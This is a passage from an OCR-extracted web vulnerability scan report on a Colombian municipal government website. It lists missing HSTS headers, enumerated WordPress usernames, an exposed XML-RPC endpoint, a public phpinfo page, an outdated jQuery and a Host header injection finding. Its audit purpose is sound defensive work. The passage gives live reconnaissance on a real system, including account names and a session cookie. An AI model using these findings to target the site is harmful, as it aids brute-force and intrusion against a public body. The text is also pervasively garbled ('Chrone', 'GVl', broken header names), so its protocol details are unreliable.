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https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/
https://chia-cundinamarca.gov.co/web/

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/ .

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i mpuest o- pr edi al - uni f i cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 06:17:33 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-
factura-de-los-impuestos-predial-e-ica/

Identification

QUTPUT

The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
htt ps://chi a-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-fact ura- de-
| 0os-i mpuest os-predi al -e-ical.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-I|os-inpuestos-predial-e-ical/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:04: 16 GV

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

https://chia-cundinamarca.gov.co/

Identification

QUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi nanar ca. gov. co/ .

HTTP Info

REQUEST MADE
GET / HITP/1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 302 Found

Server: nginx

Date: Thu, 19 Dec 2024 00:02:28 GVl

Cont ent - Type: text/htm; charset=iso-8859-1
Cont ent - Lengt h: 221

Connection: keep-alive

Location: https://chia-cundi namarca. gov. co/ web/

INSTANCE

https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanmar ca. gov. co/ web/ t ranspar enci a-y- acceso- a- | a-i nf or maci on- publ i ca/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t r anspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: ?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:38: 08 GVl

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on- docunent al / .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

Identification

OUTPUT

The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi nanar ca. gov. co/ web/ 2024/ 05/ 10/ tram te-para-solicitar-certificados-de-resi dencia-en-el-territorio-de-
chi a-y-personerias-juridicas/.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ trani te-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVl

Content - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=7526>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi namar ca. gov. co/ i mages/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A.Brand";v="99"
Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVl

Cont ent - Type: text/htn

Content-Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GVI
Accept - Ranges: bytes

INSTANCE
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https://chia-cundinamarca.gov.co/cache/

Identification

QUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ cache/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GV

Cont ent - Type: text/htn

Content-Length: 31

Connection: keep-alive

Last- Modi fied: Sun, 11 Dec 2016 21:51:10 GVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ i ndex. php/tram tes-y-servicios/si shen.

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sishen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e
Server: ngi nx
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Date: Thu, 19 Dec 2024 04:01:41 GvVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'
Expires: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; pat h=/;

Last-Modified: Thu, 19 Dec 2024 04:01:41 GMI

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification
OUTPUT

The scanner did not find any Strict-Transport-Security header

https://chi a- cundi namar ca. gov. co/ t est. php.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanarca. gov. co/ test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM.,

Sec- Ch-Ua: "Chrom uni; v="124", "Headl essChrone";v="124",
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:22:54 GVl
Cont ent - Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/

"Not - A. Brand"; v="99"

i ke Gecko)

in the response returned by the target when querying URL

Chrone/ 124. 0. 6367. 207 Safari/537.36

Page 28 of 348


https://chia-cundinamarca.gov.co/test.php

WordPress User Enumeration

VULNERABILITY E=sllligs  PLUGIN ID 98203

Description

In default WordPress installation there are several methods to enumerate authors username. These WordPress users can then
be used in brute-force attacks against WordPress login page to guess passwords.

Solution

Block requests to sensitive user information at the server using .htaccess file or WAF for example. You should block or redirect

all requests made to '/wp-json/wp/v2/users/' and to 'author' parameter (via GET and POST requests).

See Also

https://hackertarget.com/wordpress-user-enumeration/

https://wordpress.org/support/article/htaccess/

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2020-09-09T700:00:00+00:00
2023-12-06T00:00:00+00:00
Web Applications

Medium

98203

6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
5.3

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5.0

CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

200
Information Leakage

2017-A6, 2021-A1, 2013-A5, 2010-A6, 2023-API8, 2019-API7
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WordPress User Enumeration Instances (1)

VULNERABILITY E=sllligs  PLUGIN ID 98203

INSTANCE

https://chia-cundinamarca.gov.co/web/?author=1

Identification

OUTPUT
WAS Scanner has enunerated the followi ng WrdPress users:

- adm ni strador
- funcion

Web Application Scanning Detailed Scan Export: P 30 of 348
SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ ageouvo


https://chia-cundinamarca.gov.co/web/?author=1

WordPress XML-RPC Interface Detected

VULNERABILITY SEsllligs  PLUGIN ID 98215

Description

A public facing WordPress XML-RPC interface has been detected.

An attacker may be able to launch attacks against the web server Via XML-RPC including:

- Logininto WordPress backend Administrative interface

- Brute force user credentials

- Use pingbacks (for scanning or fingerprinting for example)

Solution

Block requests to sensitive user information at the server using .htaccess file or WAF for example. You should block or redirect

all requests made to 'xmirpc.php'(via GET and POST requests).

See Also

https://codex.wordpress.org/XML-RPC_Support

https://codex.wordpress.org/htaccess

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-05-11T00:00:00+00:00
2021-11-17700:00:00+00:00
Component Vulnerability
Medium

98215

5.3

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5.0

CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

200

Information Leakage

2021-A1, 2013-A5, 2013-A9, 2017-A8, 2017-A6, 2021-A6, 2010-A6, 2023-API8, 2019-API7
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WordPress XML-RPC Interface Detected Instances (1)

VULNERABILITY SEsllligs  PLUGIN ID 98215

INSTANCE

https://chia-cundinamarca.gov.co/web/xmlrpc.php

|dentification
PROOF
XML- RPC server accepts POST requests only.

OUTPUT
The scanner was able to detect an accessible XMLRPC interface.

HTTP Info

REQUEST MADE
GET /web/ xm rpc. php HTTP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,

Accept: */*
Accept - Language: en-US, en; g=0. 5
Cooki e: googtrans=/es/fr

RESPONSE HEADERS

HTTP/ 1.1 405 Method Not All owed
Server: ngi nx

Date: Thu, 19 Dec 2024 00:37:51 GVvI
Cont ent - Type: text/plain; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Al'l ow. PCST
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PHPinfo Information Disclosure

VULNERABILITY SB=sllligs  PLUGIN ID 98223

Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo() for debugging
purposes, and various PHP applications may also include such a file by default. By accessing it, a remote attacker can discover a
large amount of information about the remote web server configuration to help conduct further attacks, including :

- Versions of the web server, operating system and PHP components

- Details of the PHP configuration

- Loaded PHP extensions with their configurations

- Server environment variables.

Solution

Remove the affected file(s).

See Also
http://php.net/manual/en/function.phpinfo.php

Plugin Details
PUBLICATION DATE 2018-06-27T00:00:00+00:00
MODIFICATION DATE 2022-06-28T00:00:00+00:00
FAMILY Web Applications
SEVERITY Medium
PLUGIN ID 98223

Risk Information

CVSSV4 BASE SCORE 6.9

CVSSV4 VECTOR CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSSV3 BASE SCORE 5.8

CVSSV3 VECTOR CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVSS BASE SCORE 5.0

CVSSVECTOR CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

Reference Information

CWE 200

WASC Information Leakage

OWASP 2017-A6, 2021-A1, 2013-A5, 2010-A6, 2023-API8, 2019-API7
CVE -

BID =
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PHPinfo Information Disclosure Instances (1)

VULNERABILITY SB=sllligs  PLUGIN ID 98223

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

PROOF

<I DOCTYPE htm PUBLIC "-//WBC//DTD XHTM. 1.0 Transitional//EN" "DTD/ xhtm 1-transitional .dtd">
<htm xml ns="http://ww. w3. or g/ 1999/ xht m " ><head>

<style type="text/css">

body {background-color: #fff; color: #222; font-famly: sans-serif;}

OUTPUT
The scanner detected the presence of the “test.php file on https://chia-cundinanarca. gov. co/test. php

HTTP Info

REQUEST MADE
CGET /test.php HTTP/1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36

Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:12:39 GV
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip
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jOuery < 3.4.0 Prototype Pollution

VULNERABILITY PLUGIN ID 98590
Description

According to its self-reported version number, jQuery is prior to 3.4.0. Therefore, it may be affected by a prototype pollution
vulnerability due to 'extend' function that can be tricked into modifying the prototype of ‘Object'.

Note that the scanner has not tested for these issues but has instead relied only on the application's self-reported version
number.

Solution

Upgrade to jQuery version 3.4.0 or later.

See Also
https://github.com/jquery/jquery/pull/4333

https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/
https://snyk.io/vuln/SNYK-JS-JQUERY-174006

Plugin Details
PUBLICATION DATE 2019-04-25T00:00:00+00:00
MODIFICATION DATE 2023-03-14T00:00:00+00:00
FAMILY Component Vulnerability
SEVERITY Medium
PLUGIN ID 985390

Risk Information

CVSSV4 BASE SCORE =

CVSSV4 VECTOR -

CVSSV3 BASE SCORE 6.1

CVSSV3 VECTOR CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS BASE SCORE 4.3

CVSSVECTOR CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N

Reference Information

CWE 1321, 20, 400, 79

WASC Cross-Site Scripting, Denial of Service, Improper Input Handling

OWASP 2010-A4, 2021-A3, 2021-A6, 2010-A2, 2013-A3, 2013-A9, 2017-A9, 2017-A5, 2013-A4, 2017-A7, 2018-API7, 2023-API8
CVE CVE-2019-11358

BID 108023
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jOuery < 3.4.0 Prototype Pollution Instances (1)

VULNERABILITY SE=sllligs PLUGIN ID 98580

INSTANCE
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
Current Version: 1.12.4

Fi xed Version: 3.4.0
Detected technol ogy URL: https://chia-cundi namarca. gov. co/ i ndex. php/tranites-y-servicios/sisbhen
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Host Header Injection

VULNERABILITY S=sllligs  PLUGIN ID 98623

Description

When creating URI for links in web applications, developers often resort to the HTTP Host header available in HTTP request sent
by client side. A remote attacker can exploit this by sending a fake header with a domain name under his control allowing him to
poison web-cache or password reset emails for example.

Solution

Web application should not trust Host and X-Forwarded-Host and should use a secure SERVER_NAME instead of these headers.

See Also

https://fr.slideshare.net/DefconRussia/http-host-header-attacks

https://www.linkedin.com/pulse/host-header-injection-depth-utkarsh-tiwari/

https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2019-06-25T00:00:00+00:00
2024-12-03700:00:00+00:00
Injection

Medium

98623

5.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:L/SI:L/SA:L
4.3

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/1:N/A:N

5.0

CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

20
Improper Input Handling
